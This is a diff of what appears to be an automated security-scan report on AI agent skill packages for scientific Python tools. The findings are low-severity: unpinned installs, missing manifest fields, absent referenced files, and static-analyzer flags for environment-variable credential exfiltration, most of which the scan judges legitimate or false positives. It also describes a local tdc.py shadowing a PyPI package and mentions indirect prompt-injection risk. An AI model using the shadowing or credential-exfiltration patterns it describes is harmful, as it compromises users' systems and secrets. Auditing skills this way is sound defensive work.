declared tool restrictions, the agent has no manifest-level guidance on what capabilities are appropriate, potentially leading to over-broad tool usage.- > File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash]' and 'compatibility' fields to the YAML manifest to clearly document expected tool usage and environment requirements.+### pyzotero — 🔵 LOW-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation- > The SKILL.md instructs installation of PyTDC using 'uv pip install PyTDC' and 'uv pip install PyTDC --upgrade' without version pinning. This means the skill will always install the latest version of PyTDC and its dependencies (numpy, pandas, tqdm, seaborn, scikit_learn, fuzzywuzzy), which could introduce supply chain risks if any of these packages are compromised or if a malicious version is published. The '--upgrade' flag is particularly risky as it actively pulls the newest version without any integrity verification.- > File: `SKILL.md`- > **Remediation:** Pin the PyTDC version to a known-good release (e.g., 'uv pip install PyTDC==0.4.1'). Also pin core dependencies with exact versions. Avoid using --upgrade in automated skill instructions.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Referenced Script File pyzotero.py Not Available for Review+ > The skill references pyzotero.py in its file list, but this file was not found/provided for analysis. The static analyzer flagged cross-file exfiltration chains involving 2 files. Without reviewing pyzotero.py, it is not possible to fully confirm the absence of credential harvesting, unexpected network calls, or command injection patterns in that script.+ > **Remediation:** Ensure pyzotero.py is included in security reviews. Verify it does not contain hardcoded API keys, calls to non-Zotero endpoints, or unsafe use of eval/exec with user-supplied input.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Referenced Files May Cause Unexpected Behavior- > Several files referenced in the SKILL.md instructions were not found: assets/oracles.md, tdc.py, templates/oracles.md, templates/utilities.md, assets/utilities.md. The presence of a referenced 'tdc.py' file is particularly notable - if this file were present, it could shadow the legitimate 'tdc' PyPI package import, causing all 'from tdc import ...' statements to load a local (potentially malicious) file instead of the installed package. While the file is currently absent, the reference to it represents a latent supply chain risk.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Multiple Template and Asset Reference Files Not Found+ > The skill references numerous files under templates/ and assets/ directories (e.g., templates/mcp.md, assets/authentication.md, assets/write-api.md, etc.) that were not found in the package. While this may simply indicate incomplete packaging, missing files could also indicate that the skill relies on external or dynamically fetched content that was not available for review.> File: `SKILL.md`- > **Remediation:** Remove references to non-existent files from SKILL.md. Particularly, ensure no 'tdc.py' file is ever placed in the skill directory, as it would shadow the legitimate PyPI package. Audit all referenced files to ensure they exist and contain expected content.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — External Network Calls to Third-Party APIs During Normal Operation- > The skill's scripts make calls to external services during normal operation. The 'cid2smiles' and 'uniprot2seq' utility functions (documented in references/utilities.md) make outbound network requests to PubChem and UniProt APIs respectively. Additionally, the ASKCOS oracle requires an IBM RXN backend, and the Docking/Vina oracles may require external services. While these are expected for a drug discovery tool, the skill does not document or restrict what data is sent to these external services, and user-provided molecular data (SMILES strings, CIDs, UniProt IDs) is transmitted externally without explicit user consent warnings.- > File: `references/utilities.md`- > **Remediation:** Document clearly in SKILL.md that certain utility functions transmit data to external APIs (PubChem, UniProt, IBM RXN). Add user consent prompts before invoking network-dependent functions with user-provided data.+ > **Remediation:** Ensure all referenced files are bundled with the skill package. If these files are fetched from external sources at runtime, that would constitute an indirect prompt injection risk and should be flagged as HIGH severity. Verify the complete package contents before deployment.-### pyzotero — 🔵 LOW--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation via uv add- > The SKILL.md instructions recommend installing pyzotero using 'uv add pyzotero' without pinning to a specific version. While the skill mentions pyzotero 1.13.0 as the current upstream version, the installation commands do not enforce a pinned version. This could allow a compromised or malicious future version of pyzotero to be installed. The optional extras (pyzotero[cli] and pyzotero[mcp]) are also unpinned.- > File: `SKILL.md`- > **Remediation:** Pin the package version in installation instructions: 'uv add pyzotero==1.13.0' to prevent supply chain risk from future compromised versions.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation Instructions+ > The SKILL.md and reference files instruct users to install pyzotero using 'uv add pyzotero', 'uv add pyzotero[cli]', and 'uv add pyzotero[mcp]' without pinning to a specific version. While the description mentions pyzotero 1.13.0, the installation commands do not enforce this version. An attacker who compromises the pyzotero PyPI package could deliver malicious code to users following these instructions.+ > File: `SKILL.md:28`+ > **Remediation:** Pin the dependency to a specific known-good version: 'uv add pyzotero==1.13.0'. Also consider specifying a hash or using a lockfile to ensure supply chain integrity.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access for API Credentials- > The skill reads sensitive environment variables (ZOTERO_LIBRARY_ID, ZOTERO_API_KEY, ZOTERO_LIBRARY_TYPE) to authenticate with the Zotero Web API. While this is the recommended pattern over hardcoding credentials, the static analyzer flagged a cross-file env var exfiltration chain. In context, this appears to be legitimate credential handling for the Zotero API, not malicious exfiltration. The credentials are passed to the pyzotero library for authorized API calls to zotero.org, which is the intended behavior. No hardcoded secrets were found.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Credentials Handled via Environment Variables — Appropriate but Worth Noting+ > The skill instructs users to store Zotero API keys and library IDs in environment variables (ZOTERO_LIBRARY_ID, ZOTERO_API_KEY, ZOTERO_LIBRARY_TYPE). The authentication reference file explicitly warns against hardcoding credentials. No hardcoded secrets were found in any of the available files. The static analyzer flagged 'environment variable access with network calls detected' and a 'cross-file exfiltration chain,' but examination of the actual code patterns shows these are legitimate: credentials are read from env vars and passed to the official Zotero Web API (www.zotero.org). No exfiltration to third-party or attacker-controlled endpoints was found in any available file. The referenced pyzotero.py file was not found/available for review, which is a minor gap.> File: `references/authentication.md`- > **Remediation:** This is expected behavior for API-based skills. Ensure users are aware that API keys are read from environment variables and transmitted to zotero.org. Document clearly that keys should be scoped to minimum required permissions (read-only if write is not needed).--- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — MCP Server Configuration Modifies Claude Desktop Config- > The references/mcp.md file instructs users to modify their Claude Desktop configuration file (~/.../claude_desktop_config.json) to add a new MCP server entry. While this is a documented and legitimate MCP integration pattern, it grants the pyzotero-mcp process access to the local Zotero library and runs as a persistent server process. Users should be aware of the implications of adding third-party MCP servers to their LLM client configuration.- > File: `references/mcp.md`- > **Remediation:** Clearly document to users that adding an MCP server grants it access to local Zotero data and runs as a persistent process. Recommend users review pyzotero-mcp source code before adding to their LLM client configuration.+ > **Remediation:** No immediate action required. The pattern is correct. Ensure pyzotero.py (referenced but not found in the package) does not contain hardcoded credentials or unexpected network calls when it is present. Consider pinning the pyzotero dependency to a specific version (e.g., pyzotero==1.13.0) to reduce supply chain risk.### qiskit — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field in YAML Manifest- > The YAML manifest does not specify the 'compatibility' field, which is listed as 'Not specified'. While this is a minor documentation gap, it means users and automated systems cannot determine which platforms or environments this skill is compatible with, potentially leading to unexpected behavior or misuse in incompatible environments.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration+ > The skill manifest does not declare an 'allowed-tools' field. While this field is optional per the spec, the skill instructs the agent to execute Bash commands (pip installs) and Python code (quantum circuit execution, file I/O operations including writing JSON checkpoint files). Declaring allowed-tools would help constrain the agent's tool usage and reduce the attack surface.> File: `SKILL.md`- > **Remediation:** Add a 'compatibility' field to the YAML manifest specifying supported platforms (e.g., 'Works in Claude.ai, Claude Code, API') and an 'allowed-tools' field listing the tools the skill requires.+ > **Remediation:** Add 'allowed-tools: [Python, Bash]' to the YAML manifest to explicitly declare the tools this skill requires, enabling the agent runtime to enforce appropriate restrictions.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies in Installation Instructions- > The skill instructs users to install packages using 'uv pip install qiskit', 'uv pip install qiskit-nature', 'uv pip install qiskit-machine-learning', 'uv pip install qiskit-optimization', etc., without specifying version pins. Unpinned dependencies can lead to supply chain risks if a malicious version is published to PyPI, or can cause unexpected behavior due to breaking changes in newer versions.- > File: `references/algorithms.md`- > **Remediation:** Pin dependency versions in installation instructions (e.g., 'uv pip install qiskit==1.x.x'). Consider providing a requirements.txt or pyproject.toml with pinned versions for reproducible environments.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Multiple Missing Referenced Files+ > The skill references numerous files that do not exist in the package (assets/circuits.md, templates/transpilation.md, templates/primitives.md, assets/transpilation.md, assets/primitives.md, templates/visualization.md, templates/setup.md, templates/circuits.md, qiskit_ibm_runtime.py, scipy.py, qiskit.py, assets/backends.md, assets/visualization.md, templates/patterns.md, assets/algorithms.md, templates/algorithms.md, templates/backends.md, assets/patterns.md, assets/setup.md). This creates an incomplete skill package. While not directly malicious, missing files could cause unexpected agent behavior or errors during execution, and the presence of references to non-existent Python files (qiskit_ibm_runtime.py, scipy.py, qiskit.py) is notable.+ > File: `SKILL.md`+ > **Remediation:** Ensure all referenced files are included in the skill package before distribution. Remove references to files that are not part of the package, or add appropriate fallback handling in the instructions.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Token Handling in Setup Documentation+ > The setup documentation (references/setup.md) instructs users to store IBM Quantum API tokens using QiskitRuntimeService.save_account() and also via environment variable export. While this is standard practice for IBM Quantum SDK usage, the documentation does not warn users about the sensitivity of these tokens or recommend secure storage practices (e.g., using a secrets manager, avoiding hardcoding tokens in scripts). The placeholder 'YOUR_IBM_QUANTUM_TOKEN' in code examples could lead users to inadvertently hardcode real tokens in scripts.+ > File: `references/setup.md`+ > **Remediation:** Add explicit warnings in the documentation that API tokens should never be hardcoded in scripts or committed to version control. Recommend using environment variables or a secrets manager, and note that the save_account() method stores credentials locally in plaintext.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Token Placeholder in Documentation Examples- > The references/backends.md and references/setup.md files contain placeholder API token strings (e.g., 'YOUR_IBM_QUANTUM_TOKEN', 'YOUR_IONQ_API_TOKEN') in code examples. While these are clearly documentation placeholders and not hardcoded secrets, they demonstrate patterns where users are instructed to embed API tokens directly in code, which could lead to accidental credential exposure if users follow the examples literally without using environment variables or secure credential stores.- > File: `references/backends.md`- > **Remediation:** Documentation examples should consistently recommend using environment variables (e.g., QISKIT_IBM_TOKEN) or secure credential managers rather than inline token strings. The setup.md already mentions the environment variable method, but backends.md examples should be updated to reference that approach as the primary recommendation.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies+ > All installation instructions throughout the skill use unpinned package versions (e.g., 'uv pip install qiskit', 'uv pip install qiskit-nature qiskit-nature-pyscf', 'uv pip install qiskit-machine-learning', etc.). Without version pinning, the skill is vulnerable to supply chain attacks where a malicious package version could be installed. This affects multiple referenced files across the skill package.+ > File: `references/setup.md`+ > **Remediation:** Pin all package versions to known-good releases (e.g., 'uv pip install qiskit==1.3.0'). Consider providing a requirements.txt or pyproject.toml with pinned dependencies and hash verification.### rdkit — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Pickle Deserialization Risk in Performance Optimization Example- > The SKILL.md instructions include a code example that uses Python's pickle module to serialize and deserialize molecules. Pickle deserialization is inherently unsafe when loading data from untrusted sources, as it can execute arbitrary code during deserialization. While this is presented as a performance optimization pattern, if a user follows this guidance and loads pickled data from an untrusted source, it could lead to arbitrary code execution or data exposure.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage Flagged by Static Analyzer+ > The static pre-scan flagged a Python code block using eval/exec. After reviewing all script files (molecular_properties.py, similarity_search.py, substructure_filter.py) and the SKILL.md instruction body, no actual use of eval() or exec() with user-controlled input was found. The flag may be a false positive from pattern matching on documentation text or code comments. No exploitable eval/exec pattern is present in the actual executable scripts.> File: `SKILL.md`- > **Remediation:** Add a warning in the documentation that pickle files should only be loaded from trusted sources. Consider recommending safer alternatives like storing molecules in SDF or SMILES format, or using rdkit's own binary format (mol.ToBinary()) which is safer than generic pickle.+ > **Remediation:** No action required. The static finding appears to be a false positive. Confirm by searching all .py files for eval/exec usage if desired.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility Metadata- > The skill manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on which agent tools this skill can use. The scripts perform file I/O, process user-supplied file paths, and write output files, so declaring tool restrictions would improve security posture and transparency.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration for Python Execution+ > The SKILL.md declares allowed-tools as [Read, Write, Edit, Bash] but the scripts are Python files executed via the Python interpreter. The manifest does not include 'Python' in allowed-tools. While the scripts are invoked via Bash (e.g., python substructure_filter.py), this is a minor inconsistency in the manifest declaration. This is informational only.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools' to the manifest to explicitly declare which tools are needed (e.g., Python, Read, Write) and add 'compatibility' information. This improves transparency and allows the agent runtime to enforce appropriate restrictions.+ > **Remediation:** Consider adding 'Python' to allowed-tools or clarifying that Python scripts are invoked via Bash to make the manifest more accurate.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Referenced File: rdkit.py- > The SKILL.md instructions reference a file 'rdkit.py' that does not exist in the skill package. This missing file could indicate an incomplete package or a potential supply chain issue where the skill depends on an external or user-provided file that has not been bundled. If the agent attempts to load this file from an external or user-controlled location, it could introduce untrusted content.- > File: `SKILL.md`- > **Remediation:** Either include the rdkit.py file in the skill package or remove the reference from the instructions. Ensure all referenced files are bundled within the skill package to maintain self-containment and avoid dependency on external or user-provided files.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Recommendation+ > The skill recommends installing rdkit via 'uv pip install rdkit' without a pinned version. While the skill documentation mentions version 2026.03.3 as the current baseline and advises pinning for reproducibility, the installation commands themselves do not include version pins. This could expose users to supply chain risks if a malicious version is published to PyPI.+ > File: `SKILL.md:28`+ > **Remediation:** Recommend pinning the version in installation instructions: 'uv pip install rdkit==2026.3.3' to reduce supply chain risk.### research-grants — 🔵 LOW- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Third-Party API Data Transmission Disclosure- > The skill explicitly discloses that the optional scientific-schematics integration sends user-provided prompt text to OpenRouter, a third-party API. While this is disclosed in the instructions, the skill does not enforce any sanitization or filtering of potentially sensitive research content before transmission. Users writing grant proposals may inadvertently include unpublished research details, proprietary data, or sensitive scientific information in figure generation prompts.+ > The SKILL.md instructions explicitly disclose that the optional scientific-schematics integration sends user-provided prompt text to OpenRouter, a third-party API. While this is properly disclosed to users, the skill instructs users to pass natural-language descriptions (which could contain sensitive research details) to an external service. The disclosure is present and appropriate, but users may inadvertently include unpublished research details in figure generation prompts.> File: `SKILL.md`- > **Remediation:** The disclosure is appropriate and present. Consider adding more explicit guidance about what types of content should not be included in figure generation prompts (e.g., unpublished data, proprietary methods, personnel information). The skill could also recommend reviewing OpenRouter's data retention policies before use.--- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Pattern in Referenced Code Block- > The static analyzer flagged a Python code block containing eval/exec usage within the referenced files. Review of the content shows this appears in the nstc_guidelines.md LaTeX template examples (bash commands like 'latex nstc-proposal.ins') rather than actual Python eval/exec calls. The bash command block in the SKILL.md itself (python scripts/generate_schematic.py) passes a user-provided natural language string as a command-line argument, which could be a minor injection vector if the downstream script does not sanitize input.- > File: `references/nstc_guidelines.md`- > **Remediation:** The flagged pattern appears to be a false positive from static analysis of LaTeX/bash code blocks in documentation. No actual Python eval/exec is present. The bash command in SKILL.md that passes user input to generate_schematic.py should be reviewed in the context of that script to ensure proper input sanitization.+ > **Remediation:** The disclosure is already present and appropriate. No code changes needed. Consider adding a more prominent warning or a confirmation prompt before invoking the scientific-schematics skill to ensure users consciously acknowledge the data transmission.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External GitHub Repository References- > The nstc_guidelines.md reference file recommends installing LaTeX packages directly from GitHub repositories without version pinning (e.g., 'git clone https://github.com/L-TChen/nstc-proposal.git'). This creates a supply chain risk where a compromised or updated repository could deliver malicious content to users who follow these instructions.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Code Block (Static Analyzer Flag)+ > The static analyzer flagged a potential eval/exec usage in a Python code block within the skill's documentation. After reviewing all content, the flagged code appears to be within the NSTC guidelines reference file in a LaTeX code block showing installation commands (e.g., 'latex nstc-proposal.ins'), not actual Python eval/exec usage. No actual Python scripts are present in this skill package. The flag appears to be a false positive from pattern matching on the word 'latex' or similar. No executable Python code with eval/exec was found in any of the skill files.> File: `references/nstc_guidelines.md`- > **Remediation:** Recommend pinning to specific commit hashes or tagged releases when referencing GitHub repositories. Add a note advising users to verify repository integrity before installation. Prefer the CTAN package manager installation path (tlmgr install nstc-proposal) which provides more controlled distribution.+ > **Remediation:** No action required. This is a false positive. The skill contains no Python scripts and no actual eval/exec usage. The static analyzer matched on a LaTeX command in a documentation code block.-### scanpy — 🔵 LOW+### scientific-brainstorming — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field- > The SKILL.md manifest does not specify the optional 'allowed-tools' field. While this is informational only per the agent skills spec, documenting which tools (Python, Bash, Read, Write) are used would improve transparency and auditability of the skill's capabilities.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Pre-scan static analyzer flags inconsistent with observed skill content+ > The pre-scan static analysis reported findings of BEHAVIOR_ENV_VAR_EXFILTRATION, BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN, and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 3 Python files. However, the submitted skill package reports 'No script files found' and only contains 2 markdown files. This discrepancy suggests either the static analyzer scanned a different or broader directory context, or Python scripts exist in the skill package but were not included in the submission for review. If Python scripts are present but were omitted from this analysis, they could represent a serious data exfiltration risk.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash, Read, Write]' to the YAML frontmatter to document the tools this skill uses.+ > **Remediation:** Ensure all files in the skill package are included in security review. Audit any Python scripts present in the skill directory for environment variable access and network calls. If Python scripts exist, review them for data exfiltration patterns before deployment.-### scientific-critical-thinking — 🔵 LOW--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — External API Transmission of User Prompts via Optional Schematic Feature- > The SKILL.md instructions describe an optional figure-generation feature that sends user-provided prompt text to OpenRouter, a third-party API. The skill does disclose this in a 'Disclosure' note, which is a positive practice. However, the feature relies on OPENROUTER_API_KEY being set in the environment, and the instructions do not enforce any sanitization or scope-limiting of what prompt content is transmitted. A user could inadvertently include sensitive research details in a schematic prompt that then gets sent externally.- > File: `SKILL.md`- > **Remediation:** The disclosure is a good start. Consider adding explicit guidance on what types of content should never be included in schematic prompts (e.g., patient data, proprietary research, unpublished findings). The skill could also recommend that users review OpenRouter's data retention and privacy policies before use.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Pre-Scan Flags for Environment Variable Access and Cross-File Exfiltration Chain- > Static analysis pre-scan flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across Python files in the package. The skill's compatibility metadata explicitly mentions OPENROUTER_API_KEY environment variable access and outbound API calls. The skill package reportedly contains 3 Python files (per file inventory), but no script content was provided for analysis. The flagged behaviors likely correspond to the generate_schematic.py script referenced in SKILL.md (from the scientific-schematics skill directory). Since the actual Python script content was not included in the analysis input, a full assessment cannot be made, but the pattern of reading an API key from the environment and making outbound network calls warrants noting. The disclosed use case (sending prompts to OpenRouter) is legitimate if properly scoped, but the scripts should be reviewed to confirm no additional data (e.g., file contents, environment variables beyond the API key) is transmitted.- > File: `SKILL.md`- > **Remediation:** Provide the Python script files for full analysis. Verify that the scripts only read OPENROUTER_API_KEY from the environment and only transmit the user-supplied schematic description prompt to OpenRouter — no other environment variables, file contents, or system information should be included in API requests.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Files Referenced in Instructions May Cause Unexpected Behavior- > The SKILL.md references numerous files across multiple directory paths (assets/, templates/, references/) that do not exist in the skill package. Only a subset of the referenced files (references/common_biases.md, references/scientific_method.md, references/statistical_pitfalls.md, references/experimental_design.md, references/logical_fallacies.md, references/evidence_hierarchy.md) are actually present. Files in assets/ and templates/ subdirectories are all missing. The instructions direct the agent to load these files and use grep to search them, which will silently fail or produce errors. This is a documentation/consistency issue rather than a direct security threat, but it could cause the agent to behave unpredictably when attempting to access non-existent resources.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility metadata+ > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on which agent tools this skill may invoke. This is informational only and does not represent an active threat.> File: `SKILL.md`- > **Remediation:** Remove references to non-existent files from SKILL.md, or add the missing files to the skill package. Ensure the file inventory matches what is referenced in the instructions to prevent agent confusion.+ > **Remediation:** Consider adding 'allowed-tools' to explicitly declare which agent tools are needed (e.g., Read for reading the references/brainstorming_methods.md file), and 'compatibility' to document supported environments.### scientific-visualization — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Metadata- > The SKILL.md manifest does not specify the 'allowed-tools' field. While this is an optional field per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) this skill can invoke. Given the skill executes Python scripts and writes files to disk, documenting allowed tools would improve transparency.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field+ > The SKILL.md manifest does not specify the 'allowed-tools' field. While this is optional per the agent skills spec, the skill executes Python scripts and writes files to disk, so documenting the required tools would improve transparency and security posture.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash, Read, Write]' or appropriate subset to the YAML frontmatter to explicitly declare the tools this skill requires.+ > **Remediation:** Add 'allowed-tools: [Python, Bash]' or the appropriate subset to the YAML frontmatter to clearly declare what tools this skill requires.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing compatibility Metadata+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field> The SKILL.md manifest does not specify the 'compatibility' field. This is informational but reduces transparency about where the skill is intended to run.> File: `SKILL.md`- > **Remediation:** Add a 'compatibility' field to the YAML frontmatter indicating supported environments (e.g., 'Claude Code, API').+ > **Remediation:** Add a 'compatibility' field to the YAML frontmatter specifying supported environments (e.g., 'Claude Code, API').-### scikit-bio — 🔵 LOW+### scikit-learn — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Skill References Non-Existent Script Files- > The skill references 'skbio.py' and multiple alternative paths for 'api_reference.md' (templates/api_reference.md, assets/api_reference.md) that do not exist in the package. While the primary reference file (references/api_reference.md) is present and benign, the presence of multiple fallback paths and a missing Python script (skbio.py) suggests incomplete packaging or potential confusion about the skill's actual capabilities.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description May Trigger Unintended Activation+ > The skill description is very broad, covering 'supervised learning, unsupervised learning, clustering, dimensionality reduction, model evaluation, hyperparameter tuning, preprocessing, or building ML pipelines.' While this accurately reflects the skill's scope, the breadth could cause the skill to be activated for a wide range of ML-related queries that may not require it. This is a minor concern given the description is accurate.> File: `SKILL.md`- > **Remediation:** Remove references to non-existent files. Ensure all referenced files are bundled with the skill package. If skbio.py is intended to be a helper script, include it or remove the reference.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Potential Cross-File Exfiltration Chain (Unverified)- > The pre-scan static analyzer flagged BEHAVIOR_ENV_VAR_EXFILTRATION, BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN, and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 3 files. However, no script files were found in the provided content, and the referenced skbio.py file is missing. The SKILL.md instructions and the api_reference.md file contain only legitimate bioinformatics code examples with no evidence of environment variable harvesting or network exfiltration. The static findings may relate to unreachable or missing files. This is flagged as LOW pending review of the missing skbio.py file.- > File: `references/api_reference.md`- > **Remediation:** Locate and review the 3 Python files flagged by the static analyzer (including skbio.py). Ensure none of them read environment variables (os.environ, os.getenv) and make outbound network calls. If these files exist in the package but were not provided for review, they must be audited before deployment.--### scikit-learn — 🔵 LOW+ > **Remediation:** Consider narrowing the description or adding more specific trigger conditions to avoid over-broad activation. This is a low-priority concern as the description is accurate.- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Version in Installation Instructions- > The skill instructs users to install scikit-learn with a minimum version constraint ('scikit-learn>=1.7') rather than a pinned version. This could allow installation of a future compromised or breaking version of the package. While this is a common practice for documentation, it represents a supply chain risk in automated environments.+ > The installation instructions use a minimum version constraint ('scikit-learn>=1.7') rather than a pinned version. While the documentation states it is tested against 1.8.0, the install command does not pin to that exact version. This could allow installation of future versions with breaking changes or potential supply chain issues if a malicious version is published.> File: `SKILL.md`- > **Remediation:** Consider pinning to a specific known-good version (e.g., 'scikit-learn==1.8.0') or providing a requirements.txt/pyproject.toml with pinned versions for production use. At minimum, document the tested version clearly (which the skill does: 'Tested against scikit-learn 1.8.0').--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Optional Third-Party Package imbalanced-learn Installed Without Version Pin- > The model evaluation reference recommends installing 'imbalanced-learn' without a version pin. This is a third-party package that could be subject to supply chain risks.- > File: `references/model_evaluation.md`- > **Remediation:** Pin the version when recommending installation, e.g., 'imbalanced-learn==0.12.x'.--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Optional Third-Party Package category-encoders Installed Without Version Pin- > The preprocessing reference recommends installing 'category-encoders' without a version pin. This is a third-party package that could be subject to supply chain risks.- > File: `references/preprocessing.md`- > **Remediation:** Pin the version when recommending installation, e.g., 'category-encoders==2.6.x'.+ > **Remediation:** Consider pinning to an exact version: `uv pip install "scikit-learn==1.8.0"` for reproducibility and supply chain safety. At minimum, document the tested version prominently in the install command.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Optional Third-Party Package Installed Without Version Pin- > The skill recommends installing 'umap-learn' (an external package not part of scikit-learn) without any version constraint. This package is from a third party and could be subject to supply chain attacks or breaking changes.- > File: `references/unsupervised_learning.md`- > **Remediation:** Pin the umap-learn version when recommending installation, e.g., 'umap-learn==0.5.x'. Also note that the package is from a third party and should be verified before installation.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Optional Third-Party Package Recommendation Without Version Pinning+ > The skill recommends installing third-party packages (matplotlib, seaborn, pandas, numpy, umap-learn, imbalanced-learn, category-encoders) without version pins. These are referenced in reference documentation and example scripts. Unpinned installs could pull in compromised or incompatible versions.+ > File: `SKILL.md`+ > **Remediation:** Pin all recommended packages to specific versions or provide a requirements.txt/pyproject.toml with locked versions. At minimum, document tested versions for each optional dependency.### scvelo — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility Metadata- > The skill manifest does not specify `allowed-tools` or `compatibility` fields. While these are optional per the spec, the skill executes Python code, writes files to disk, and performs computationally intensive operations. Declaring these fields would improve transparency about the skill's capabilities and resource usage.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Unresolved Referenced Files May Indicate Missing Validation+ > The instructions reference `matplotlib.py`, `scvelo.py`, and `scanpy.py` as files, but these are not found in the skill package. These appear to be Python import names misidentified as file references rather than actual bundled files. This is a low-severity concern as it may indicate the static analyzer misidentified import statements as file references, but it warrants confirmation that no external file loading is intended.+ > File: `SKILL.md`+ > **Remediation:** Verify that no external file loading is intended. If these are simply Python imports, no action is needed. Ensure the skill does not attempt to load external instruction files at runtime.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and Compatibility Metadata+ > The SKILL.md manifest does not specify `allowed-tools` or `compatibility` fields. While these are optional per the agent skills spec, their absence means the agent has no declared restrictions on which tools it may use, and there is no guidance on compatible environments. The script uses file I/O, directory creation, and external package calls.> File: `SKILL.md`- > **Remediation:** Add `allowed-tools: [Python]` and `compatibility` fields to the YAML frontmatter to clearly document the skill's tool requirements and supported environments.+ > **Remediation:** Add `allowed-tools: [Python]` and `compatibility` fields to the YAML frontmatter to explicitly declare the skill's intended tool usage and supported environments.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Recommended- > The SKILL.md instructions recommend installing scvelo with `pip install scvelo` without a version pin. While this is a well-known bioinformatics package, unpinned installations can introduce supply chain risk if the package is compromised or a malicious version is published. The script also imports scvelo, scanpy, numpy, and matplotlib without version constraints.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Recommended in Documentation+ > The SKILL.md instructs users to install scvelo via `pip install scvelo` without a pinned version. While this is common practice for documentation, it exposes users to potential supply chain risks if the package is compromised or a malicious version is published. The skill also imports several packages (scvelo, scanpy, numpy, matplotlib) without version constraints in the script.> File: `SKILL.md`- > **Remediation:** Recommend pinning to a specific known-good version, e.g., `pip install scvelo==0.2.5`. Consider using a requirements.txt or conda environment file with pinned versions for reproducibility and security.+ > **Remediation:** Recommend pinning to a specific known-good version, e.g., `pip install scvelo==0.2.5`. Consider providing a requirements.txt or conda environment file with pinned versions for reproducibility and security.-### scvi-tools — 🔵 LOW+### shap — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Metadata- > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) the skill may invoke. Given the skill instructs the agent to run Python code and install packages, documenting allowed tools would improve transparency.+- **🔵 LOW** 